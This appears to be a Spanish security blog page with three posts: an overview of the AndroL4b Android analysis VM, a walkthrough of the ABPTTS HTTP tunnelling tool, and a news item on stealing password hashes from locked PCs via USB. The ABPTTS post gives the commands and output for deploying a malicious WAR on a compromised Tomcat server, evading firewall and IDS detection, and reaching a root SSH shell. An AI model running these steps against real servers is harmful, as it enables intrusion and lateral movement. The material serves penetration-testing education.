Máquina virtual para la evaluación, ingeniería inversa y análisis de Malware, de aplicaciones Android.

AndroL4b es una máquina virtual orientada a los aspectos de seguridad en Android basado en ubuntu-mate, que incluye la colección de los últimos framework, tutoriales y laboratorios, de seguridad, para la ingeniería inversa y análisis de malware en aplicaciones Android.

Contiene las siguientes herramientas y laboratorios:

Herramientas.
 
APKStudio, es un IDE multiplataforma para la ingeniería inversa y recompilación de binarios de aplicaciones Android, dentro de una sola interfaz de usuario. Cuenta con un diseño amigable, con un editor de código que soporta el resaltado de sintaxis para Android smali y archivos de código (* .smali).

ByteCodeViewer, suite de Ingeniería inversa de aplicaciones Android, con cinco descompiladores Java diferentes, dos editores de código de bytes, un compilador de Java y plugins…

Mobile Security Framework (MobSF), es una aplicación de código abierto para móviles (Android/iOS). Un  framework capaz de realizar el análisis estático y dinámico (Sólo esta permitido el análisis estático en esta maquina virtual). Puede ser utilizado para un análisis de seguridad de aplicaciones eficaz y rápido, es compatible con los binarios (APK y IPA) y el código fuente comprimido. MobSF también puede realizar pruebas de seguridad con su Fuzzer API que puede hacer de: recopilación de información, análisis de cabeceras de seguridad, identificar vulnerabilidades específicas de la API móvil como: la XXE, FRSS, de traspaso de rutas, IDOR… y otras cuestiones lógicas relacionadas con la sesión.

Dorzer, marco de evaluación de seguridad de aplicaciones para Android. Permite realizar búsquedas de vulnerabilidades de seguridad en aplicaciones y dispositivos, asumiendo el papel de una aplicación, permitiendo interaccionar con: la máquina virtual Dalvik, los puntos finales del IPC de otras aplicaciones y el sistema operativo subyacente.

APKtool, es una herramienta para la ingeniería inversa de binarios de aplicaciones Android. Puede decodificar los recursos de forma casi original y reconstruirlos, después de hacer algunas modificaciones, que hace posible depurar código smali paso a paso. También hace más fácil trabajar con la aplicación debido a la estructura de archivos en proyectos y con la automatización de algunas tareas repetitivas como la construcción de apk.

AndroidStudio, IDE para el desarrollo de aplicaciones Android. Es un entorno de desarrollo integrado (IDE) para el desarrollo de aplicaciones Android, basado en IntelliJ IDEA.  Android Studio ofrece características que mejoran la productividad en la construcción de aplicaciones Android.

ClassyShark, es una herramienta para desarrolladores Android. Permite navegar de forma fiable a través de un archivo ejecutable Android y mostrar información importante como: las interfaces de clase y los miembros, el recuento de dex y dependencias. Soporta múltiples formatos incluyendo: bibliotecas (.dex, .aar, .so), ejecutables (.apk, .jar, .class) y todos los binarios XMLs Android: AndroidManifest, recursos, diseños, etc.

BurpSuite, es una plataforma integrada para la realización de pruebas de seguridad de aplicaciones web. Sus diversas herramientas funcionan perfectamente para apoyar todo el proceso de: pruebas, cartografía y análisis de la superficie de ataque de una petición inicial, a través de la búsqueda y explotación de vulnerabilidades de seguridad.

Wireshark, es el analizador de protocolos de red más importante del mundo. Permite ver lo que está ocurriendo en una red a nivel microscópico. Es el estándar de facto de la industria y las instituciones educativas.

MARA, marco de análisis de seguridad y ingeniería inversa de aplicación para móviles. Es un conjunto de herramientas comúnmente utilizadas en ingeniería inversa y análisis de aplicaciones para móviles bajo los estándares de OWASP.

FindBugs-IDEA, análisis estático de código de bytes en busca de fallos en el código Java

AndroBugs Framework, escáner de vulnerabilidades de seguridad de Android que ayuda a los desarrolladores y pentesters a encontrar posibles vulnerabilidades de seguridad en aplicaciones de Android.

Metasploit, es un proyecto de código abierto de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración “Pentesting” y el desarrollo de firmas para sistemas de detección de intrusos.

Laboratorios.

DIVA Android, es una aplicación diseñada expresamente para ser insegura. El objetivo de la aplicación es enseñar a los desarrolladores profesionales, defectos que generalmente están presentes en las aplicaciones, generalmente debido a prácticas de codificación pobres o inseguras.

InsecureBankv2, ese una aplicación Android hecha para entusiastas de la seguridad informática y desarrolladores para aprender las inseguridades de aplicaciones de Android. Su componente de servidor de fondo está escrito en Python. El componente de cliente es decir, el InsecureBank.apk para Android se puede descargar junto con la fuente.

DroidBench, es un conjunto de pruebas de codigo abierto para evaluar la eficacia de las herramientas de análisis específicas para aplicaciones Android.  La suite se puede utilizar para evaluar los análisis tanto estáticos como dinámicos, pero en particular, contiene interesantes casos de prueba para problemas de análisis estático (sensibilidad de campo, la sensibilidad de objetos, ventajas y desventajas en longitudes de vía de acceso, etc.), así como modelar correctamente el ciclo de vida de una aplicación, manejo de devoluciones de llamadas asincrónicas e interaccionar con la interfaz de usuario.

GoatDroid, es un entorno de formación totalmente funcional y autónomo para educar a los desarrolladores y probadores de seguridad de Android. GoatDroid requiere dependencias mínimas y es ideal tanto para principiantes como para los usuarios más avanzados.

Más información y descarga de AndroL4b:
https://github.com/sh4hin/Androl4b

#HackNic

Shadow77

A Black Path Toward The Sun: herramienta para crear un túnel TCP sobre HTTP/HTTPS

Los servidores de aplicaciones web son uno de los puntos de entrada más visibles de una organización por lo que suelen bastionarse y restringirse su perímetro filtrando los puertos mediante firewalls (permitiendo normalmente sólo HTTP y HTTPS desde Internet) y añadiendo una capa de seguridad extra mediante algún WAF y/o IPS. Sin embargo por su propia idiosincrasia, las ‘webapps’ y los ‘webservices’ suelen tener fallos que pueden comprometer el servidor, ya sea por un desarrollo no seguro que permite alguna inyección o upload arbitrario o por algún “despiste” en su administración como el uso de credenciales por defecto o de contraseñas predecibles o débiles.

El resultado muchas veces es la capacidad de ejecución remota de comandos (RCE) en la máquina o incluso la obtención de una webshell, que sin embargo y como comentamos puede verse muy limitada en su uso por la infrastructura de red y seguridad perimetral que protege al servidor de aplicaciones. Por ejemplo, es muy común que no se permita la salida a Internet desde el servidor arruinándonos las conexiones inversas e incluso bloquear ICMP o DNS hacia fuera haciendo lo propio al intentar establecer un túnel por esos protocolos.

La solución pasa por establecer un túnel TCP a través del servidor de aplicaciones web usando su propio interfaz HTTP/HTTPS. Esto permite establecer directamente una sesión RDP, un SSH interactivo, meterpreter, subir/bajar ficheros con mayor facilidad, etc. y por supuesto, pivotar para continuar con el movimiento lateral.

Para esto ya conocíamos reGeorg o node-http-tunnel, pero en el arsenal de la BlackHat de 2016 se presentó otra herramienta que es una maravilla… Se llama ‘A Black Path Toward The Sun’ o ABPTTS que provee dos componentes principales:

– Un cliente en Python que escucha conexiones TCP y se encarga de la traducción entre los datos en crudo (raw) y las peticiones HTTP que son enviadas al componente servidor

– Una página o un paquete que se sube al servidor (actualmente disponibles en JSP/WAR y ASP.NET) y que levanta un listener para recibir las peticiones HTTP del cliente y convertirlas en datos raw que son enviados a través de un segundo listener que levanta el servidor de aplicaciones

Como ven su objetivo cliente-servidor es establecer un túnel TCP sobre HTTP/HTTPS. Además este túnel se cifra con AES128 lo que dificulta la detección por firmas por parte de IDS/IPS/WAF y dejando como única alternativa la inspección manual u otras técnicas.

A continuación veremos un ejemplo de un escenario muy típico: un servidor Tomcat que hemos comprometido accediendo al Manager mediante la obtención de las credenciales, ya sea por fuerza bruta o leyendo el fichero tomcat-users.xml (mediante un path traversal o similar).

Lo primero que haremos será descargar el código de GitHub (está disponible bajo licencia GPLv2):

git clone https://github.com/nccgroup/ABPTTS.git

Para después crear el .war que debemos subir y desplegar en el servidor Tomcat:

python ./abpttsfactory.py -o tomcat_walkthrough
[2016-09-09 18:17:11.653436] ---===[[[ A Black Path Toward The Sun ]]]===---
[2016-09-09 18:17:11.654354]    --==[[        -  Factory  -        ]]==--
[2016-09-09 18:17:11.654569]             Ben Lincoln, NCC Group
[2016-09-09 18:17:11.654754]            Version 1.0 - 2016-07-30
[2016-09-09 18:17:11.662950] Output files will be created in "/home/vmotos/ABPTTS/tomcat_walkthrough"
[2016-09-09 18:17:11.663336] Client-side configuration file will be written as "/home/vmotos/ABPTTS/tomcat_walkthrough/config.txt"
[2016-09-09 18:17:11.663545] Using "/home/vmotos/ABPTTS/data/american-english-lowercase-4-64.txt" as a wordlist file
[2016-09-09 18:17:11.712408] Created client configuration file "/home/vmotos/ABPTTS/tomcat_walkthrough/config.txt"
[2016-09-09 18:17:11.719011] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/abptts.jsp"
[2016-09-09 18:17:11.724532] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/abptts.aspx"
[2016-09-09 18:17:11.726044] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/war/WEB-INF/web.xml"
[2016-09-09 18:17:11.737039] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/war/META-INF/MANIFEST.MF"
[2016-09-09 18:17:11.743834] Prebuilt JSP WAR file: /home/vmotos/ABPTTS/tomcat_walkthrough/OxyacetyleneConductor.war
[2016-09-09 18:17:11.743959] Unpacked WAR file contents: /home/vmotos/ABPTTS/tomcat_walkthrough/war

Una vez que tengamos la webapp “maliciosa” podemos verificar accediendo a la url y viendo el mensaje aleatorio que genera el script (API status):

Ahora ya sólo tenemos que irnos a la máquina del atacante para ejecutar el cliente. En el ejemplo reenviaremos el puerto local 22222 al puerto 22 del interfaz de loopback del servidor que tiene instalado el Tomcat:

python2.7 ./abpttsclient.py -c tomcat_walkthrough/config.txt -u http://172.16.217.129:8080/OxyacetyleneConductor/OxyacetyleneConductor.jsp -f 127.0.0.1:22222/127.0.0.1:22
[2016-09-10 00:50:33.542329] ---===[[[ A Black Path Toward The Sun ]]]===---
[2016-09-10 00:50:33.542511]    --==[[       -  Client  -          ]]==--
[2016-09-10 00:50:33.542559]             Ben Lincoln, NCC Group
[2016-09-10 00:50:33.542612]            Version 1.0 - 2016-07-30
[2016-09-10 00:50:33.549999] Listener ready to forward connections from 127.0.0.1:22222 to 127.0.0.1:22 via http://172.16.217.129:8080/OxyacetyleneConductor/OxyacetyleneConductor.jsp
[2016-09-10 00:50:33.550138] Waiting for client connection to 127.0.0.1:22222

Y finalmente ya sólo nos queda comprobar que tenemos acceso al servicio SSH del servidor Tomcat comprometido:

$ ssh -p 22222 root@127.0.0.1
root@127.0.0.1's password: 

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@servidor:~# whoami
root

Como ven el túnel TCP sobre HTTP ha funcionado y tenemos acceso a un servicio del servidor de aplicaciones cuyo acceso desde Internet está denegado por un firewall, que a su vez tampoco es capaz de detectar y bloquear el túnel. Like a boss!

Fuente: https://github.com/nccgroup/ABPTTS

#HackNic
Shadow77

¿Tienes el PC bloqueado? Aún te pueden robar las contraseñas conectando un simple USB

Aunque en ocasiones se nos olvida, normalmente tenemos la sana costumbre de bloquear nuestro ordenador cuando nos ausentamos temporalmente para por ejemplo ir a por un café o a comer. Incluso dejamos el equipo encendido bloqueado cuando terminamos la jornada para que al día siguiente no perdamos tiempo y podamos inmediatamente reanudar la actividad. Si bien esto parece una buena medida de seguridad y nos hace sentir seguros, esta semana Rob Fuller de R5 industries ha demostrado que todo lo que se necesita para robar los hashes de las contraseñas del PC bloqueado es conectar un USB durante unos segundos. El hash más adelante puede ser crackeado o utilizado directamente en algunos ataques a la red.
Para su ataque, Fuller utiliza un pequeño ordenador del tamaño de un dispositivo flash llamado USB Armory que cuesta $155, aunque el mismo ataque se puede sacar con dispositivos más baratos, como Hak5 LAN Turtle que cuesta $50.

El dispositivo tiene que hacerse pasar por un adaptador LAN ethernet USB de tal manera que se convierte en la interfaz de red principal en el equipo al que se conecta. Esto no debería ser difícil porque: 1) los sistemas operativos inician automáticamente la instalación de los dispositivos USB conectados incluyendo tarjetas de red, incluso cuando están en un estado de bloqueo y 2) configuran automáticamente las tarjetas Ethernet por cable como las puertas de enlace predeterminadas.

Por ejemplo, si un atacante enchufa un adaptador USB-Gigabit Ethernet falso en un portátil con Windows bloqueado que normalmente utiliza una conexión inalámbrica, el adaptador se instalará y se convertirá en la interfaz de red preferida.

Por otra parte, cuando una nueva tarjeta de red se instala, el sistema operativo intenta obtener la configuración automática mediante el protocolo de configuración dinámica de host (DHCP). Esto significa que un atacante puede tener un equipo malicioso en el otro extremo del cable Ethernet que actúa como un servidor DHCP. Como comentamos, USB Armory es un ordenador en un dispositivo que se alimenta a través de USB y puede ejecutar Linux, por lo que no se requiere un equipo diferente.

Una vez que el atacante controla la configuración de red de un equipo a través de DHCP, también controla las respuestas DNS (Domain Name System), y puede configurar un proxy de Internet falso a través del protocolo WPAD (descubrimiento automático de proxy web). Esencialmente ganará una posición privilegiada para un ataque man-in-the-middle que se puede utilizar para interceptar y manipular el tráfico de red del ordenador.

Según Fuller, los equipos bloqueados aún generan tráfico de la red, lo que permite que el nombre de cuenta y la contraseña (hash) puedan ser extraídos. El tiempo necesario para que un dispositivo USB capture las credenciales de un sistema mediante este ataque es de alrededor 13 segundos, dijo.

Probó el ataque con éxito en Windows y OS X. Sin embargo, todavía se está trabajando en confirmar si OS X es vulnerable por defecto o si fue configuración particular de su Mac que era vulnerable.

En primer lugar, esto es demasiado simple y no debería funcionar, pero lo hace,” dijo el investigador en un blog. “Además, no es posible de que yo sea el primero que ha identificado esto, pero ahí está.

Dependiendo de la versión de Windows instalada en el equipo y su configuración, los hashes de las contraseñas estarán en NT LAN Manager (NTLM) versión 2 o formato NTLMv1. Los hashes NTLMv2 son más difíciles de descifrar, pero no es imposible, especialmente si la contraseña no es muy compleja y el atacante tiene acceso a una plataforma potente.

Hay también algunos ataques contra los servicios de red de retransmisión, donde los hashes NTLM se puede utilizar directamente sin necesidad de conocer la contraseña en texto plano del usuario (pass-the-hash).

La lección de todo esto es, como Fuller señaló en Twitter: “No dejes tu PC conectado, especialmente durante la noche, sin vigilancia, aunque bloquees la pantalla“.

#HackNic
Shadow77